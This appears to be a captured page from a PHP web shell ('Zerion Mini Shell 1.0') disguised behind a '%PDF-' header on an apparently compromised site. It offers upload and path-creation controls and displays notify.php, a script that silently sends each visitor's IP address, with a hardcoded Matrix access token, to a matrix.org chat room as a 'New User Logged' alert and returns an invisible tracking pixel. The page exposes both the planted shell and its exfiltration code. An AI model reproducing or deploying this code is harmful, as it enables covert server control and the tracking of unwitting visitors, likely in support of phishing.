%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/t/r/a/tradesc/
Upload File :
Create Path :
Current File : /home/t/r/a/tradesc/notify.php

<?php

$access_token = "syt_LnNlbmRlcg_GoeLToFYzQVMDxgovAZG_341Fga";
$room_id = "!OcTbFZgXPzwfUDjgaV:matrix.org";

// Function to get the user's IP address
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// Get the user's IP address
$user_ip = getUserIP();

// Text message
$message = "💎New User Logged💎: " . $user_ip;

// URL for sending the message
$url = "https://matrix.org/_matrix/client/r0/rooms/" . urlencode($room_id) . "/send/m.room.message?access_token=" . urlencode($access_token);

// Prepare the POST data
$post_data = json_encode(array(
    "msgtype" => "m.text",
    "body" => $message
));

// Set up the HTTP context for the POST request
$options = array(
    'http' => array(
        'header'  => "Content-Type: application/json\r\n",
        'method'  => 'POST',
        'content' => $post_data,
    ),
);

// Create a stream context
$context  = stream_context_create($options);

// Send the POST request
file_get_contents($url, false, $context);

// Return a 1x1 pixel transparent GIF to avoid browser errors
header('Content-Type: image/gif');
echo base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
?>

Zerion Mini Shell 1.0